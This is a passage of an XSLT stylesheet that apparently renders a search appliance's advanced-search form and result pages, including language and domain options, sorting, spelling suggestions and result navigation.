selected="selected">Greek</option> </xsl:when> <xsl:otherwise> <option value="lang_el">Greek</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_iw')]"> <option value="lang_iw" selected="selected">Hebrew</option> </xsl:when> <xsl:otherwise> <option value="lang_iw">Hebrew</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_hu')]"> <option value="lang_hu" selected="selected">Hungarian</option> </xsl:when> <xsl:otherwise> <option value="lang_hu">Hungarian</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_is')]"> <option value="lang_is" selected="selected">Icelandic</option> </xsl:when> <xsl:otherwise> <option value="lang_is">Icelandic</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_it')]"> <option value="lang_it" selected="selected">Italian</option> </xsl:when> <xsl:otherwise> <option value="lang_it">Italian</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_ja')]"> <option value="lang_ja" selected="selected">Japanese</option> </xsl:when> <xsl:otherwise> <option value="lang_ja">Japanese</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_ko')]"> <option value="lang_ko" selected="selected">Korean</option> </xsl:when> <xsl:otherwise> <option value="lang_ko">Korean</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_lv')]"> <option value="lang_lv" selected="selected">Latvian</option> </xsl:when> <xsl:otherwise> <option value="lang_lv">Latvian</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_lt')]"> <option value="lang_lt" selected="selected">Lithuanian</option> </xsl:when> <xsl:otherwise> <option value="lang_lt">Lithuanian</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_no')]"> <option value="lang_no" selected="selected">Norwegian</option> </xsl:when> <xsl:otherwise> <option value="lang_no">Norwegian</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_pl')]"> <option value="lang_pl" selected="selected">Polish</option> </xsl:when> <xsl:otherwise> <option value="lang_pl">Polish</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_pt')]"> <option value="lang_pt" selected="selected">Portuguese</option> </xsl:when> <xsl:otherwise> <option value="lang_pt">Portuguese</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_ro')]"> <option value="lang_ro" selected="selected">Romanian</option> </xsl:when> <xsl:otherwise> <option value="lang_ro">Romanian</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_ru')]"> <option value="lang_ru" selected="selected">Russian</option> </xsl:when> <xsl:otherwise> <option value="lang_ru">Russian</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_es')]"> <option value="lang_es" selected="selected">Spanish</option> </xsl:when> <xsl:otherwise> <option value="lang_es">Spanish</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='lr') and (@value='lang_sv')]"> <option value="lang_sv" selected="selected">Swedish</option> </xsl:when> <xsl:otherwise> <option value="lang_sv">Swedish</option> </xsl:otherwise> </xsl:choose> <xsl:text disable-output-escaping="yes"></select></xsl:text> </font></td> </tr> </table> </td> </tr> <tr bgcolor="{$global_bg_color}"> <td> <table width="100%" cellspacing="0" cellpadding="2" border="0"> <tr> <td width="15%"><font size="-1"><b>Occurrences</b></font></td> <td nowrap="nowrap" width="40%"><font size="-1">Return results where my terms occur</font></td> <td><font size="-1"><select name="as_occt"> <xsl:choose> <xsl:when test="PARAM[(@name='as_occt') and (@value!='any')]"> <option value="any"> anywhere in the page </option> </xsl:when> <xsl:otherwise> <option value="any" selected="selected"> anywhere in the page </option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='as_occt') and (@value='title')]"> <option value="title" selected="selected">in the title of the page</option> </xsl:when> <xsl:otherwise> <option value="title">in the title of the page</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='as_occt') and (@value='url')]"> <option value="url" selected="selected">in the url of the page</option> </xsl:when> <xsl:otherwise> <option value="url">in the url of the page</option> </xsl:otherwise> </xsl:choose> </select></font></td> </tr> </table> </td> </tr> <tr bgcolor="{$global_bg_color}"> <td> <table width="100%" cellpadding="2" cellspacing="0" border="0"> <tr> <td width="15%"><font size="-1"><b>Domains</b></font></td> <td width="40%" nowrap="nowrap"><font size="-1"><select name="as_dt"> <xsl:choose> <xsl:when test="PARAM[(@name='as_dt') and (@value='i')]"> <option value="i" selected="selected">Only</option> </xsl:when> <xsl:otherwise> <option value="i">Only</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='as_dt') and (@value='e')]"> <option value="e" selected="selected">Don't</option> </xsl:when> <xsl:otherwise> <option value="e">Don't</option> </xsl:otherwise> </xsl:choose> </select>return results from the site or domain</font></td> <td> <table cellpadding="0" cellspacing="0" border="0"> <tr> <td> <xsl:choose> <xsl:when test="PARAM[@name='as_sitesearch']"> <input type="text" size="25" value="{PARAM[@name='as_sitesearch']/@value}" name="as_sitesearch" /> </xsl:when> <xsl:otherwise> <input type="text" size="25" value="" name="as_sitesearch" /> </xsl:otherwise> </xsl:choose> </td> </tr> <tr> <td valign="top" nowrap="nowrap"><font size="-1"> <i>e.g. google.com, .org</i></font></td> </tr> </table> </td> </tr> <!-- Sort by Date feature --> <tr> <td width="15%"><font size="-1"><b>Sort</b></font></td> <td width="40%" nowrap="nowrap"><font size="-1"><select name="sort"> <xsl:choose> <xsl:when test="PARAM[(@name='sort') and (@value='')]"> <option value="" selected="selected">by Relevance</option> </xsl:when> <xsl:otherwise> <option value="">by Relevance</option> </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="PARAM[(@name='sort') and (@value='date:D:S:d1')]"> <option value="date:D:S:d1" selected="selected">by Date</option> </xsl:when> <xsl:otherwise> <option value="date:D:S:d1">by Date</option> </xsl:otherwise> </xsl:choose> </select></font></td> </tr> <!-- Secure Search feature --> <xsl:if test="$show_secure_radio != '0'"> <tr> <td width="15%"><font size="-1"><b>Security</b></font></td> <td width="40%" nowrap="nowrap"><font size="-1"> <xsl:choose> <xsl:when test="$access='p'"> <input type="radio" name="access" value="p" checked="checked" />Search public content only </xsl:when> <xsl:otherwise> <input type="radio" name="access" value="p"/>Search public content only </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="$access='a'"> <input type="radio" name="access" value="a" checked="checked" />Search public and secure content (login required) </xsl:when> <xsl:otherwise> <input type="radio" name="access" value="a"/>Search public and secure content (login required) </xsl:otherwise> </xsl:choose> </font></td> </tr> </xsl:if> </table> </td> </tr> </table> </td> </tr> </table> <br /> <br /> <!--====Page-Specific Search======--> <table cellpadding="6" cellspacing="0" border="0"> <tr> <td><b>Page-Specific Search</b></td> </tr> </table> <table cellspacing="0" cellpadding="3" border="0" width="99%"> <tr bgcolor="{$adv_search_panel_bgcolor}"> <td> <table width="100%" cellpadding="0" cellspacing="0" border="0"> <tr bgcolor="{$adv_search_panel_bgcolor}"> <td> <table width="100%" cellpadding="2" cellspacing="0" border="0"> <form method="get" action="/search" name="h"> <tr bgcolor="{$global_bg_color}"> <td width="15%"><font size="-1"><b>Links</b></font></td> <td width="40%" nowrap="nowrap"><font size="-1">Find pages that link to the page</font> </td> <td nowrap="nowrap"> <xsl:choose> <xsl:when test="PARAM[@name='as_lq']"> <input type="text" size="30" value="{PARAM[@name='as_lq']/@value}" name="as_lq" /> </xsl:when> <xsl:otherwise> <input type="text" size="30" value="" name="as_lq" /> </xsl:otherwise> </xsl:choose> <font size="-1"> <input type="submit" name="btnG" value="{$search_button_text}" /></font> </td> </tr> </form> </table> </td> </tr> </table> </td> </tr> </table> <xsl:call-template name="copyright"/> </form> <!-- *** Customer's own advanced search page footer *** --> <xsl:call-template name="my_page_footer"/> </body> </html> </xsl:template> <!-- ********************************************************************** Resend query with filter=p to disable path_filtering if there is only one result cluster (do not customize) ********************************************************************** --> <xsl:template name="redirect_if_few_results"> <xsl:variable name="count" select="count(/GSP/RES/R)"/> <xsl:variable name="start" select="/GSP/RES/@SN"/> <xsl:variable name="filterall" select="count(/GSP/PARAM[@name='filter']) = 0"/> <xsl:variable name="filter" select="/GSP/PARAM[@name='filter']/@value"/> <xsl:if test="$count = 2 and $start = 1 and ($filterall or $filter = '1')"> <meta HTTP-EQUIV="REFRESH" content="0;url={$filter_url}p"/> </xsl:if> </xsl:template> <!-- ********************************************************************** Search results (do not customize) ********************************************************************** --> <xsl:template name="search_results"> <html> <!-- *** HTML header and style *** --> <xsl:call-template name="langHeadStart"/> <xsl:call-template name="redirect_if_few_results"/> <title><xsl:value-of select="$result_page_title"/>: <xsl:value-of disable-output-escaping="yes" select="$html_escaped_query"/> </title> <xsl:call-template name="style"/> <script type="text/javascript"> <xsl:comment> function resetForms() { for (var i = 0; i < document.forms.length; i++ ) { document.forms[i].reset(); } } //</xsl:comment> </script> <xsl:call-template name="langHeadEnd"/> <body onLoad="resetForms()"> <!-- *** Customer's own result page header *** --> <xsl:if test="$choose_result_page_header = 'mine' or $choose_result_page_header = 'both'"> <xsl:call-template name="my_page_header"/> </xsl:if> <!-- *** Result page header *** --> <xsl:if test="$choose_result_page_header = 'provided' or $choose_result_page_header = 'both'"> <xsl:call-template name="result_page_header" /> </xsl:if> <!-- *** Top separation bar *** --> <xsl:if test="Q != ''"> <xsl:call-template name="top_sep_bar"> <xsl:with-param name="query" select="Q"/> <xsl:with-param name="time" select="TM"/> </xsl:call-template> </xsl:if> <xsl:if test="$choose_sep_bar = 'line'"> <hr size="1" color="gray"/> </xsl:if> <!-- *** Handle results (if any) *** --> <xsl:choose> <xsl:when test="RES or GM or Spelling or Synonyms or CT"> <xsl:call-template name="results"> <xsl:with-param name="query" select="Q"/> <xsl:with-param name="time" select="TM"/> </xsl:call-template> </xsl:when> <xsl:when test="Q=''"> </xsl:when> <xsl:otherwise> <xsl:call-template name="no_RES"> <xsl:with-param name="query" select="Q"/> </xsl:call-template> </xsl:otherwise> </xsl:choose> <!-- *** Google footer *** --> <xsl:call-template name="copyright"/> <!-- *** Customer's own result page footer *** --> <xsl:call-template name="my_page_footer"/> <!-- *** HTML footer *** --> </body> </html> </xsl:template> <!-- ********************************************************************** Subcollection menu beside the search box ********************************************************************** --> <xsl:template name="subcollection_menu"> <xsl:if test="$search_subcollections_xslt != ''"> <td valign="middle"> <select name="restrict"> <xsl:choose> <xsl:when test="PARAM[(@name='restrict') and (@value!='')]"> <option value="">All documents</option> </xsl:when> <xsl:otherwise> <option value="" selected="selected">All documents</option> </xsl:otherwise> </xsl:choose> </select> </td> </xsl:if> </xsl:template> <!-- ********************************************************************** Search box input form ********************************************************************** --> <xsl:template name="search_box"> <form name="gs" method="GET" action="/search"> <table cellpadding="0" cellspacing="0"> <tr> <td valign="middle"> <font size="-1"> <xsl:text disable-output-escaping="yes"> <input type="text" name="q" size="</xsl:text> <xsl:value-of select="$search_box_size"/> <xsl:text disable-output-escaping="yes" >" maxlength="256" value="</xsl:text> <xsl:value-of disable-output-escaping="yes" select="$html_escaped_query"/> <xsl:text disable-output-escaping="yes">"></xsl:text> </font> </td> <xsl:call-template name="subcollection_menu"/> <td valign="middle"> <font size="-1"> <xsl:call-template name="nbsp"/> <xsl:choose> <xsl:when test="$choose_search_button = 'image'"> <input type="image" name="btnG" src="{$search_button_image_url}" valign="bottom" width="60" height="26" border="0" value="{$search_button_text}"/> </xsl:when> <xsl:otherwise> <input type="submit" name="btnG" value="{$search_button_text}"/> </xsl:otherwise> </xsl:choose> </font> </td> </tr> <xsl:if test="$show_secure_radio != '0'"> <tr> <td colspan="2"> <font size="-1">Search: <xsl:choose> <xsl:when test="$access='p'"> <input type="radio" name="access" value="p" checked="checked" />public content </xsl:when> <xsl:otherwise> <input type="radio" name="access" value="p"/>public content </xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="$access='a'"> <input type="radio" name="access" value="a" checked="checked" />public and secure content </xsl:when> <xsl:otherwise> <input type="radio" name="access" value="a"/>public and secure content </xsl:otherwise> </xsl:choose> </font> </td> </tr> </xsl:if> </table> <xsl:text> </xsl:text> <xsl:call-template name="form_params"/> </form> </xsl:template> <!-- ********************************************************************** Bottom search box (do not customized) ********************************************************************** --> <xsl:template name="bottom_search_box"> <br clear="all"/> <br/> <center> <table border="0" cellpadding="2" cellspacing="0"> <tr> <td nowrap="1"> <xsl:call-template name="search_box"/> </td> </tr> </table> </center> </xsl:template> <!-- ********************************************************************** Sort-by criteria: sort by date/relevance ********************************************************************** --> <xsl:template name="sort_by"> <xsl:variable name="sort_by_relevance_url"><xsl:for-each select="/GSP/PARAM[(@name != 'sort') and (@name != 'start')]"> <xsl:value-of select="@name"/><xsl:text>=</xsl:text> <xsl:value-of select="@original_value"/> <xsl:if test="position() != last()"> <xsl:text disable-output-escaping="yes">&</xsl:text> </xsl:if> </xsl:for-each> </xsl:variable> <xsl:variable name="sort_by_date_url"> <xsl:value-of select="$search_url" />&sort=date%3AD%3AS%3Ad1</xsl:variable> <table><tr valign='top'><td> <span class="s"> <font color="{$global_text_color}"> <xsl:text>Sort by: </xsl:text> </font> <xsl:choose> <xsl:when test="/GSP/PARAM[@name = 'sort' and starts-with(@value,'date')]"> <font color="{$global_text_color}"> <xsl:text>Date / </xsl:text> </font> <a href="/search?{$sort_by_relevance_url}">Relevance</a> </xsl:when> <xsl:otherwise> <a href="/search?{$sort_by_date_url}">Date</a> <font color="{$global_text_color}"> <xsl:text> / Relevance</xsl:text> </font> </xsl:otherwise> </xsl:choose> </span> </td></tr></table> </xsl:template> <!-- ********************************************************************** Output all results ********************************************************************** --> <xsl:template name="results"> <xsl:param name="query"/> <xsl:param name="time"/> <!-- *** Add top navigation/sort-by bar *** --> <table width="100%"> <tr> <xsl:if test="$show_top_navigation != '0'"> <td align="left"> <xsl:call-template name="google_navigation"> <xsl:with-param name="prev" select="RES/NB/PU"/> <xsl:with-param name="next" select="RES/NB/NU"/> <xsl:with-param name="view_begin" select="RES/@SN"/> <xsl:with-param name="view_end" select="RES/@EN"/> <xsl:with-param name="guess" select="RES/M"/> <xsl:with-param name="navigation_style" select="'top'"/> </xsl:call-template> </td> </xsl:if> <xsl:if test="$show_sort_by != '0'"> <td align="right"> <xsl:call-template name="sort_by"/> </td> </xsl:if> </tr> </table> <!-- *** Handle spelling suggestions, if any *** --> <xsl:if test="$show_spelling != '0'"> <xsl:call-template name="spelling"/> </xsl:if> <!-- *** Handle synonyms, if any *** --> <xsl:if test="$show_synonyms != '0'"> <xsl:call-template name="synonyms"/> </xsl:if> <!-- *** Output results details *** --> <div> <!-- for keymatch results --> <xsl:if test="$show_keymatch != '0'"> <xsl:apply-templates select="/GSP/GM"/> </xsl:if> <!-- for real results --> <xsl:apply-templates select="RES/R"> <xsl:with-param name="query" select="$query"/> </xsl:apply-templates> <!-- *** Filter note (if needed) *** --> <xsl:if test="(RES/FI) and (not(RES/NB/NU))"> <p> <i> In order to show you the most relevant results, we have omitted some entries very similar to the <xsl:value-of select="RES/@EN"/> already displayed. <br/>If you like, you can <a href="{$filter_url}0"> repeat the search with the omitted results included</a>. </i> </p> </xsl:if> </div> <!-- *** Add bottom navigation *** --> <xsl:variable name="nav_style"> <xsl:choose> <xsl:when test="($access='s') or ($access='a')">simple</xsl:when> <xsl:otherwise> <xsl:value-of select="$choose_bottom_navigation"/> </xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:call-template name="google_navigation"> <xsl:with-param name="prev" select="RES/NB/PU"/> <xsl:with-param name="next" select="RES/NB/NU"/> <xsl:with-param name="view_begin" select="RES/@SN"/> <xsl:with-param name="view_end" select="RES/@EN"/> <xsl:with-param name="guess" select="RES/M"/> <xsl:with-param name="navigation_style" select="$nav_style"/> </xsl:call-template> <!-- *** Bottom search box *** --> <xsl:if test="$show_bottom_search_box != '0'"> <xsl:call-template name="bottom_search_box"/> </xsl:if> </xsl:template> <!-- ********************************************************************** Stopwords suggestions in result page (do not customize) ********************************************************************** --> <xsl:template name="stopwords"> <xsl:variable name="stopwords_suggestions1"> <xsl:call-template name="replace_string"> <xsl:with-param name="find" select="'/help/basics.html#stopwords'"/> <xsl:with-param name="replace" select="'basics.html#stopwords'"/> <xsl:with-param name="string" select="/GSP/CT"/> </xsl:call-template> </xsl:variable> <xsl:variable name="stopwords_suggestions"> <xsl:call-template name="replace_string"> <xsl:with-param name="find" select="'/help/basics.html'"/> <xsl:with-param name="replace" select="'basics.html'"/> <xsl:with-param name="string" select="$stopwords_suggestions1"/> </xsl:call-template> </xsl:variable> <xsl:if test="/GSP/CT"> <font size="-1" color="gray"> <xsl:value-of disable-output-escaping="yes" select="$stopwords_suggestions"/> </font> </xsl:if> </xsl:template> <!-- ********************************************************************** Spelling suggestions in result page (do not customize) ********************************************************************** --> <xsl:template name="spelling"> <xsl:if test="/GSP/Spelling/Suggestion"> <p><span class="p"><font color="{$spelling_text_color}"> <xsl:value-of select="$spelling_text"/> <xsl:call-template name="nbsp"/> </font></span> <a href="/search?q={/GSP/Spelling/Suggestion[1]/@q}&spell=1&{$base_url}"> <xsl:value-of disable-output-escaping="yes" select="/GSP/Spelling/Suggestion[1]"/> </a> </p> </xsl:if> </xsl:template> <!-- ********************************************************************** Synonym suggestions in result page (do not customize) ********************************************************************** --> <xsl:template name="synonyms"> <xsl:if test="/GSP/Synonyms/OneSynonym"> <p><span class="p"><font color="{$synonyms_text_color}"> <xsl:value-of select="$synonyms_text"/> <xsl:call-template name="nbsp"/> </font></span> <xsl:for-each select="/GSP/Synonyms/OneSynonym"> <a href="/search?q={@q}&{$synonym_url}"> <xsl:value-of disable-output-escaping="yes" select="."/> </a><xsl:text> </xsl:text> </xsl:for-each> </p> </xsl:if> </xsl:template> <!-- ********************************************************************** A single result (do not customize) ********************************************************************** --> <xsl:template match="R"> <xsl:param name="query"/> <xsl:variable name="stripped_url" select="substring-after(U, '://')"/> <xsl:variable name="full_url" select="UE"/> <xsl:variable name="crowded_url" select="HN/@U"/> <xsl:variable name="crowded_display_url" select="HN"/> <xsl:variable name="lower" select="'abcdefghijklmnopqrstuvwxyz'"/> <xsl:variable name="upper" select="'ABCDEFGHIJKLMNOPQRSTUVWXYZ'"/> <!-- *** Indent as required (only supports 2 levels) *** --> <xsl:if test="@L='2'"><xsl:text disable-output-escaping="yes"><blockquote></xsl:text></xsl:if> <!-- *** Result Header *** --> <p> <!-- *** Result Title (including PDF tag and hyperlink) *** --> <xsl:if test="$show_res_title != '0'"> <font size="-2"><b> <xsl:choose> <xsl:when test="@MIME='text/html' or @MIME='' or not(@MIME)"></xsl:when> <xsl:when test="@MIME='text/plain'">[TEXT]</xsl:when> <xsl:when test="@MIME='application/rtf'">[RTF]</xsl:when> <xsl:when test="@MIME='application/pdf'">[PDF]</xsl:when> <xsl:when test="@MIME='application/postscript'">[PS]</xsl:when> <xsl:when test="@MIME='application/vnd.ms-powerpoint'">[MS POWERPOINT]</xsl:when> <xsl:when test="@MIME='application/vnd.ms-excel'">[MS EXCEL]</xsl:when> <xsl:when test="@MIME='application/msword'">[MS WORD]</xsl:when> <xsl:otherwise> <xsl:variable name="extension"> <xsl:call-template name="last_substring_after"> <xsl:with-param name="string" select="substring-after( substring-after(U,'://'), '/')"/> <xsl:with-param name="separator" select="'.'"/> <xsl:with-param name="fallback" select="'UNKNOWN'"/> </xsl:call-template> </xsl:variable> [<xsl:value-of select="translate($extension,$lower,$upper)"/>] </xsl:otherwise> </xsl:choose> </b></font> <xsl:text> </xsl:text> <xsl:if test="not(starts-with($stripped_url, 'noindex!/'))"> <xsl:text disable-output-escaping='yes'><a href="</xsl:text ><xsl:value-of disable-output-escaping='yes' select="U" /><xsl:text disable-output-escaping='yes'>"></xsl:text> </xsl:if> <span class="l"> <xsl:choose> <xsl:when test="T"> <xsl:call-template name="reformat_keyword"> <xsl:with-param name="orig_string" select="T"/> </xsl:call-template> </xsl:when> <xsl:otherwise><xsl:value-of select="$stripped_url"/></xsl:otherwise> </xsl:choose> </span> <xsl:if test="not(starts-with($stripped_url, 'noindex!/'))"> <xsl:text disable-output-escaping='yes'></a></xsl:text> </xsl:if> </xsl:if> <!-- *** Snippet *** --> <xsl:if test="$show_res_snippet != '0'"> <br/> <span class="s"> <xsl:call-template name="reformat_keyword"> <xsl:with-param name="orig_string" select="S"/> </xsl:call-template> </span> </xsl:if> <!-- *** Description *** --> <xsl:if test="$show_res_description != '0'"> <xsl:apply-templates select="HAS/DI/DS"/> </xsl:if> <!-- *** URL *** --> <br/> <font color="{$res_url_color}" size="{$res_url_size}"> <xsl:choose> <xsl:when test="starts-with($stripped_url, 'noindex!/')"> <xsl:if test="($show_res_size!='0') or ($show_res_date!='0') or ($show_res_cache!='0')"> <xsl:text>Not Indexed: </xsl:text> <xsl:value-of select="substring($stripped_url, 10)"/> </xsl:if> </xsl:when> <xsl:otherwise> <xsl:if test="$show_res_url != '0'"> <xsl:value-of select="$stripped_url"/> </xsl:if> </xsl:otherwise> </xsl:choose> </font> <!-- *** Miscellaneous (- size - date - cache) *** --> <xsl:if test="not(starts-with($stripped_url, 'noindex!/'))"> <xsl:apply-templates select="HAS/C"> <xsl:with-param name="full_url" select="$full_url"/> <xsl:with-param name="query" select="$query"/> <xsl:with-param name="mime" select="@MIME"/> <xsl:with-param name="date" select="FS[@NAME='date']/@VALUE"/> </xsl:apply-templates> </xsl:if> <!-- *** Link to more links from this site *** --> <xsl:if test="HN"> <br/> [ <a class="f" href="/search?as_sitesearch={$crowded_url}&{ $search_url}">More results from <xsl:value-of select="$crowded_display_url"/></a> ] </xsl:if> <!-- *** Result Footer *** --> </p> <!-- *** End indenting as required (only supports 2 levels) *** --> <xsl:if test="@L='2'"><xsl:text disable-output-escaping="yes"></blockquote></xsl:text> </xsl:if> </xsl:template> <!-- ********************************************************************** A single keymatch result (do not customize) ********************************************************************** --> <xsl:template match="GM"> <p> <table cellpadding="4" cellspacing="0" border="0" height="40" width="100%"> <tr> <td nowrap="0" bgcolor="{$keymatch_bg_color}" height="40"> <a href="{GL}"> <xsl:value-of select="GD"/> </a> <br/> <font size="-1" color="{$res_url_color}"> <span class="a"> <xsl:value-of select="GL"/> </span> </font> </td> <td bgcolor="{$keymatch_bg_color}" height="40" align="right" valign="top"> <b> <font size="-1" color="{$keymatch_text_color}"> <xsl:value-of select="$keymatch_text"/> </font> </b> </td> </tr> </table> </p> </xsl:template> <!-- ********************************************************************** Variables for reformatting keyword-match display (do not customize) ********************************************************************** --> <xsl:variable name="keyword_orig_start" select="'<b>'"/> <xsl:variable name="keyword_orig_end" select="'</b>'"/> <xsl:variable name="keyword_reformat_start"> <xsl:if test="$res_keyword_format"> <xsl:text><</xsl:text> <xsl:value-of select="$res_keyword_format"/> <xsl:text>></xsl:text> </xsl:if> <xsl:if test="($res_keyword_size) or ($res_keyword_color)"> <xsl:text><font</xsl:text> <xsl:if test="$res_keyword_size"> <xsl:text> size="</xsl:text> <xsl:value-of select="$res_keyword_size"/> <xsl:text>"</xsl:text> </xsl:if> <xsl:if test="$res_keyword_color"> <xsl:text> color="</xsl:text> <xsl:value-of select="$res_keyword_color"/> <xsl:text>"</xsl:text> </xsl:if> <xsl:text>></xsl:text> </xsl:if> </xsl:variable> <xsl:variable name="keyword_reformat_end"> <xsl:if test="($res_keyword_size) or ($res_keyword_color)"> <xsl:text></font></xsl:text> </xsl:if> <xsl:if test="$res_keyword_format"> <xsl:text></</xsl:text> <xsl:value-of select="$res_keyword_format"/> <xsl:text>></xsl:text> </xsl:if> </xsl:variable> <!-- ********************************************************************** Reformat the keyword match display in a title/snippet string (do not customize) ********************************************************************** --> <xsl:template name="reformat_keyword"> <xsl:param name="orig_string"/> <xsl:variable name="reformatted_1"> <xsl:call-template name="replace_string"> <xsl:with-param name="find" select="$keyword_orig_start"/> <xsl:with-param name="replace" select="$keyword_reformat_start"/> <xsl:with-param name="string" select="$orig_string"/> </xsl:call-template> </xsl:variable> <xsl:variable name="reformatted_2"> <xsl:call-template name="replace_string"> <xsl:with-param name="find" select="$keyword_orig_end"/> <xsl:with-param name="replace" select="$keyword_reformat_end"/> <xsl:with-param name="string" select="$reformatted_1"/> </xsl:call-template> </xsl:variable> <xsl:value-of disable-output-escaping='yes' select="$reformatted_2"/> </xsl:template> <!-- ********************************************************************** Helper templates for generating a result item (do not customize) ********************************************************************** --> <!-- *** Description *** --> <xsl:template match="DS"> <br/> <font size="-1"> <span class="f">Description: </span><xsl:value-of disable-output-escaping='yes' select="."/> </font> </xsl:template> <!-- *** Miscellaneous: - size - date - cache *** --> <xsl:template match="C"> <xsl:param name="full_url"/> <xsl:param name="query"/> <xsl:param name="mime"/> <xsl:param name="date"/> <xsl:variable name="docid"><xsl:value-of select="@CID"/></xsl:variable> <xsl:if test="$show_res_size != '0'"> <xsl:if test="not(@SZ='')"> <font size="-1"> <xsl:text> - </xsl:text> <xsl:value-of select="@SZ"/> </font> </xsl:if> </xsl:if> <xsl:if test="$show_res_date != '0'"> <xsl:if test="($date != '') and (translate($date, '-', '') > 19500000) and (translate($date, '-', '') < 21000000)"> <font size="-1"> <xsl:text> - </xsl:text> <xsl:value-of select="$date"/> </font> </xsl:if> </xsl:if> <xsl:if test="$show_res_cache != '0'"> <xsl:text> - </xsl:text> <a class="f" href="/search?q=cache:{$docid}{$full_url}+{ $stripped_search_query}&{$base_url}"> <xsl:choose> <xsl:when test="not($mime)">Cached</xsl:when> <xsl:when test="$mime='text/html'">Cached</xsl:when> <xsl:when test="$mime='text/plain'">Cached</xsl:when> <xsl:otherwise>Text Version</xsl:otherwise> </xsl:choose> </a> </xsl:if> </xsl:template> <!-- ********************************************************************** Google navigation bar in result page (do not customize) ********************************************************************** --> <xsl:template name="google_navigation"> <xsl:param name="prev"/> <xsl:param name="next"/> <xsl:param name="view_begin"/> <xsl:param name="view_end"/> <xsl:param name="guess"/> <xsl:param name="navigation_style"/> <xsl:variable name="fontclass"> <xsl:choose> <xsl:when test="$navigation_style = 'top'">s</xsl:when> <xsl:otherwise>b</xsl:otherwise> </xsl:choose> </xsl:variable> <!-- *** Test to see if we should even show navigation *** --> <xsl:if test="($prev) or ($next)"> <!-- *** Start Google result navigation bar *** --> <xsl:if test="$navigation_style != 'top'"> <xsl:text disable-output-escaping="yes"><center> <div class="n"></xsl:text> </xsl:if> <table border="0" cellpadding="0" width="1%" cellspacing="0"> <tr align="center" valign="top"> <xsl:if test="$navigation_style != 'top'"> <td valign="bottom" nowrap="1"> <font size="-1"> Result<xsl:call-template name="nbsp" />Page:<xsl:call-template name="nbsp"/> </font> </td> </xsl:if> <!-- *** Show previous navigation, if available *** --> <xsl:choose> <xsl:when test="$prev"> <td> <span class="{$fontclass}"> <a href="/search?{$search_url}&start={$view_begin - $num_results - 1}"> <xsl:if test="$navigation_style = 'google'"> <img src="/nav_previous.gif" width="68" height="26" alt="" border="0"/> <br/> </xsl:if> <xsl:if test="$navigation_style = 'top'"> <xsl:text><</xsl:text> </xsl:if> <xsl:text>Previous</xsl:text> </a> </span> <xsl:if test="$navigation_style != 'google'"> <xsl:call-template name="nbsp"/> </xsl:if> </td> </xsl:when> <xsl:otherwise> <td> <xsl:if test="$navigation_style = 'google'"> <img src="/nav_first.gif" width="18" height="26" alt="" border="0"/> <br/> </xsl:if> </td> </xsl:otherwise> </xsl:choose> <xsl:if test="($navigation_style = 'google') or ($navigation_style = 'link')"> <!-- *** Google result set navigation *** --> <xsl:variable name="mod_end"> <xsl:choose> <xsl:when test="$next"><xsl:value-of select="$guess"/></xsl:when> <xsl:otherwise><xsl:value-of select="$view_end"/></xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:call-template name="result_nav"> <xsl:with-param name="start" select="0"/> <xsl:with-param name="end" select="$mod_end"/> <xsl:with-param name="current_view" select="($view_begin)-1"/> <xsl:with-param name="navigation_style" select="$navigation_style"/> </xsl:call-template> </xsl:if> <!-- *** Show next navigation, if available *** --> <xsl:choose> <xsl:when test="$next"> <td nowrap="1"> <xsl:if test="$navigation_style != 'google'"> <xsl:call-template name="nbsp"/> </xsl:if> <span class="{$fontclass}"> <a href="/search?{$search_url}&start={$view_begin + $num_results - 1}"> <xsl:if test="$navigation_style = 'google'"> <img src="/nav_next.gif" width="100" height="26" alt="" border="0"/> <br/> </xsl:if> <xsl:text>Next</xsl:text> <xsl:if test="$navigation_style = 'top'"> <xsl:text>></xsl:text> </xsl:if> </a> </span> </td> </xsl:when> <xsl:otherwise> <td nowrap="1"> <xsl:if test="$navigation_style != 'google'"> <xsl:call-template name="nbsp"/> </xsl:if> <xsl:if test="$navigation_style = 'google'"> <img src="/nav_last.gif" width="46" height="26" alt="" border="0"/> <br/> </xsl:if> </td> </xsl:otherwise> </xsl:choose> <!-- *** End Google result bar *** --> </tr> </table> <xsl:if test="$navigation_style != 'top'"> <xsl:text disable-output-escaping="yes"></div> </center></xsl:text> </xsl:if> </xsl:if> </xsl:template> <!-- ********************************************************************** Helper templates for generating Google result navigation (do not customize) only shows 10 sets up or down from current view ********************************************************************** --> <xsl:template name="result_nav"> <xsl:param name="start" select="'0'"/> <xsl:param name="end"/> <xsl:param name="current_view"/> <xsl:param name="navigation_style"/> <!-- *** Choose how to show this result set 